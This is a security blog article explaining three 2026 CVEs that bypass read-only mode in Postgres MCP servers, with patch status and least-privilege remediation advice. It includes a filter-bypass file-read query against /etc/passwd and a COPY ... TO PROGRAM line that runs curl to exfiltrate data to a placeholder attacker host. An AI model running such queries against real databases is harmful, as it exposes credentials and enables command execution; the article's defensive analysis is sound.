AI

Postgres MCP Read-Only Mode Can Be Bypassed

By · Wed Oct 14 2026 · 8 min read · 0 views

View as a Web Story

AI#ai agents#mcp#model context protocol#postgresql#CVE#database security

Three 2026 CVEs showing how Postgres MCP server read-only mode can be bypassed

Methodology: every claim below traces to a named security advisory or vendor bulletin, cross-checked between at least two independent sources where both existed. No exploit code was built or run for this piece; the mechanisms are described as the public advisories describe them.

Bottom line, up front: two of the three bugs are already patched. One is not. All three share one fix.

Three bugs came out in September 2026. All three break "read-only mode" in the two most-used Postgres MCP servers. An agent that looked locked to query-only could read server files. In one case, it could change data too. That is the opposite of what the mode promised.

Model Context Protocol (MCP) is the standard that lets AI agents like Claude or Cursor call external tools. A Postgres MCP server exposes a database as one of those tools. Most offer a "restricted" or "read-only" mode meant to let an agent query data without changing or exfiltrating it. These three disclosures matter because that boundary is exactly what teams rely on to let agents touch production data at all, as Supabase's own MCP security guidance now warns.

Key Takeaways

  • CVE-2026-85620 (Postgres MCP Pro, CVSS 9.2) lets a restricted-mode SQL query read arbitrary server files, including credentials and TLS keys, by placing a blocked function call in a FROM clause instead of a SELECT list. As of the most recent public reporting, no patched release exists beyond version 0.3.0.
  • CVE-2026-85787 and CVE-2026-87911 (AWS Labs' awslabs.postgres-mcp-server) are both fixed in version 1.1.7, disclosed September 4 and September 9, 2026 respectively. The second allows operating-system command execution, not just data access.
  • None of the three bypasses survive a database role that genuinely lacks the privileges in question — the application-layer "read-only" flag was never a substitute for PostgreSQL's own permission system, and these disclosures are the proof.

The pattern behind all three: a filter that checks syntax, not meaning

Each server's read-only mode scans the SQL text an agent sends. It blocks anything that looks like a write, or a dangerous function call. Then it lets the rest through to PostgreSQL. That scanner is just a parser. A parser only catches the shapes it was told to look for. Anything shaped differently gets through.

Postgres MCP Pro: a FROM clause slips past the function allowlist

Postgres MCP Pro is an open-source Model Context Protocol server for PostgreSQL maintained by Crystal DBA, offering a restricted mode intended to let an agent run read-only queries safely. CVE-2026-85620, assigned a CVSS score of 9.2 by VulnCheck's advisory, was reported by security researcher George Chen on June 6, 2026, and publicly disclosed the week of September 5, 2026, per the CVE record.

The server checks function calls against a blocklist, in a file called safe_sql.py. But it only checks one shape. A function in a SELECT list parses as a FuncCall node, and that shape gets checked. A function in a FROM clause parses as a different shape, called RangeFunction. Nobody checks that shape for blocked names. Same dangerous function. Two positions. One gets caught, one does not.

-- Blocked by Postgres MCP Pro's restricted mode
SELECT pg_read_file('/etc/passwd');

-- Not blocked — same function, FROM clause instead of SELECT list
SELECT * FROM pg_read_file('/etc/passwd');

The second query returns the contents of any file the PostgreSQL server process can read — such as configuration files, credentials, and TLS private keys on a typical deployment. As of the most recent public reporting on this CVE, no patched release of Postgres MCP Pro exists beyond version 0.3.0. A fix has been proposed as an open pull request against the project's repository, but it had not merged. Teams running this server in restricted mode should treat that mode as no real security boundary, until a patched release ships.

AWS Labs' Postgres MCP server: an incomplete blocklist, then a path to shell access

awslabs.postgres-mcp-server is AWS's own open-source Model Context Protocol server for PostgreSQL, distributed via PyPI. It is intended for use with Amazon RDS and Aurora, as well as self-managed Postgres. Two separate CVEs were disclosed against it within a week of each other in September 2026, both fixed in the same release.

CVE-2026-85787 was disclosed September 4, 2026, per AWS Security Bulletin 2026-101-AWS. It hits every version before 1.1.7. The read-only filter's blocklist had gaps. A crafted SQL statement could slip through and modify data, if an authenticated user interacted with malicious content. AWS's own bulletin says it plainly: "database privileges are the final authorization layer." The filter was never meant to be the only thing stopping a write.

Advertisement

CVE-2026-87911 came five days later, on September 9, 2026, per AWS Security Bulletin 2026-104-AWS. It is worse. A crafted COPY ... TO PROGRAM statement runs shell commands on the database host. PostgreSQL's COPY command can pipe its output to a shell command instead of a file. That only works if the role holds superuser or pg_execute_server_program. The feature exists for trusted database administration, not for an AI agent. This bug needs a self-managed PostgreSQL instance over the wire protocol, plus one of those two privileges. Aurora and RDS sit outside this particular CVE's scope, but they still carry CVE-2026-85787.

-- Blocked as a straightforward write
INSERT INTO users (email) VALUES ('x');

-- The pre-1.1.7 vulnerability class: COPY abused for remote code execution
COPY (SELECT 1) TO PROGRAM 'curl http://attacker.example/$(whoami)';

Both CVEs are fixed in awslabs.postgres-mcp-server 1.1.7. The current PyPI release at time of writing is 1.2.0. AWS's stated mitigation for both, beyond upgrading, is the same: connect the MCP server through a PostgreSQL role stripped of superuser and pg_execute_server_program. That way, even an unpatched or newly discovered bypass in the application filter has nothing destructive to reach.

Comparing the three

CVE-2026-85620 CVE-2026-85787 CVE-2026-87911
Project Postgres MCP Pro awslabs.postgres-mcp-server awslabs.postgres-mcp-server
CVSS 9.2 Not published in reviewed sources Not published in reviewed sources
Disclosed Week of September 5, 2026 September 4, 2026 September 9, 2026
Affected versions Through 0.3.0 Before 1.1.7 Before 1.1.7
Fixed version None published yet 1.1.7 1.1.7
Impact Arbitrary server file read Data modification past read-only filter OS command execution
Root cause Function-call check misses FROM clause position Incomplete blocklist in read-only filter COPY ... TO PROGRAM not blocked
Scope limiter None — restricted mode itself is bypassed Any Postgres backend Self-managed Postgres only; requires superuser or pg_execute_server_program

The fix that holds regardless of which server you run

All three bugs are a filter missing something. None of them work against a role that truly lacks the privilege. PostgreSQL itself would reject the query first. The filter never even gets a vote. That is the real lesson here — not "just upgrade and move on."

Concretely, for any Postgres MCP server, agent-facing or otherwise:

-- Create a role with exactly the privileges an agent needs, and nothing else
CREATE ROLE agent_readonly LOGIN PASSWORD '...';
GRANT CONNECT ON DATABASE appdb TO agent_readonly;
GRANT USAGE ON SCHEMA public TO agent_readonly;
GRANT SELECT ON ALL TABLES IN SCHEMA public TO agent_readonly;

-- Explicitly confirm the dangerous privileges are absent
REVOKE pg_execute_server_program FROM agent_readonly;
REVOKE ALL ON SCHEMA public FROM agent_readonly; -- then re-grant only SELECT as above

Hand this role to a buggy MCP server, even one with CVE-2026-85620's file-read bypass, and the damage still stops at what agent_readonly can see. pg_read_file() needs its own privilege to run, on a locked-down install. Stock PostgreSQL makes it superuser-only. A lower role only reaches it if someone granted it on purpose. So if a real MCP deployment let that bypass read /etc/passwd or a TLS key, the role behind it almost certainly held more than "read-only" implied.

What to do this week

If you run Postgres MCP Pro: there is no patched version. Either disable restricted mode as a claimed security boundary and enforce access entirely through a dedicated PostgreSQL role, or don't connect it to a database holding anything sensitive until a fix ships.

If you run awslabs.postgres-mcp-server: upgrade to 1.1.7 or later — the current release is 1.2.0. This closes both disclosed CVEs directly.

For both, and for any other Postgres MCP server you might adopt: consider auditing the PostgreSQL role the server connects with, for example by listing its grants with \du+ agent_readonly in psql. Revoke superuser and pg_execute_server_program specifically — those are the two privileges that turn a filter bypass into remote command execution rather than an information leak. Treat the MCP server's "read-only mode" flag as a convenience that reduces mistakes, not as the security control. The security control is the GRANT statement.

FAQ

What is CVE-2026-85620?

CVE-2026-85620 hits Postgres MCP Pro, an open-source MCP server for PostgreSQL. Its CVSS score is 9.2. A query in restricted mode can read any file the PostgreSQL process can reach. The trick: put a blocked function inside a FROM clause instead of a SELECT list. That slips past the allowlist. No patch exists yet, as of the most recent public reporting.

Is awslabs.postgres-mcp-server affected by a security vulnerability?

Yes. Versions before 1.1.7 carry two bugs disclosed in September 2026. CVE-2026-85787 lets a query write data past the read-only filter. CVE-2026-87911 lets a query run shell commands via COPY ... TO PROGRAM, on self-managed PostgreSQL. Both are fixed in 1.1.7.

Does a read-only mode in an MCP server actually prevent an AI agent from writing to a database?

Not on its own, no. All three bugs here are a filter that missed the exact write, file read, or command it was built to catch. PostgreSQL's own role system is the layer that still holds, even when the filter has a bug. A low-privilege database role is the real boundary. The MCP server's mode flag is not.

How do I stop an AI agent from running COPY TO PROGRAM against my database?

Revoke pg_execute_server_program and superuser from the role your MCP server connects with. COPY ... TO PROGRAM needs one of those two to run a shell command. Strip both, and the technique stops working. It stops regardless of what the application filter does or does not catch.

Advertisement

FAQ

What is CVE-2026-85620?

CVE-2026-85620 hits Postgres MCP Pro, an open-source MCP server for PostgreSQL, with a CVSS score of 9.2. A query in restricted mode can read any file the PostgreSQL process can reach by putting a blocked function inside a FROM clause instead of a SELECT list. No patch exists yet as of the most recent public reporting.

Is awslabs.postgres-mcp-server affected by a security vulnerability?

Yes. Versions before 1.1.7 carry two bugs disclosed in September 2026: CVE-2026-85787 lets a query write data past the read-only filter, and CVE-2026-87911 lets a query run shell commands via COPY ... TO PROGRAM on self-managed PostgreSQL. Both are fixed in version 1.1.7.

Does a read-only mode in an MCP server actually prevent an AI agent from writing to a database?

Not reliably on its own. All three CVEs covered here are cases where an MCP server's application-level read-only filter failed to block a write, file read, or command it was designed to catch. A low-privilege database role, not the server's mode flag, is the real boundary.

How do I stop an AI agent from running COPY TO PROGRAM against my database?

Revoke pg_execute_server_program and superuser from whatever PostgreSQL role your MCP server or AI agent connects with. COPY ... TO PROGRAM needs one of those two privileges to run a shell command, so a role without them cannot use this technique.

Comments

Loading…

Sign in to join the conversation.

Related posts

Cost model comparing Neon and Xata database branching pricing for AI agent fleets

What Giving Every AI Agent Its Own Database Branch Costs

Methodology: every rate below comes from Neon's and Xata's own pricing pages, read directly rather than from a comparison site. The cost model that follows states its assumptions in each row, so you

Wed Oct 14 2026 · 7 min read · 0 views

AI

Latency benchmark comparing Redis and PostgreSQL for AI agent session memory

Redis vs Postgres for AI Agent Memory, Actually Measured

Test setup and methodology: we seeded 2,000 fake agent sessions into a local PostgreSQL 18.1 table and a local Redis 8.4.0 instance. Each held a roughly 1.2KB JSON payload modeled on a real agent

Wed Oct 14 2026 · 6 min read · 0 views

AI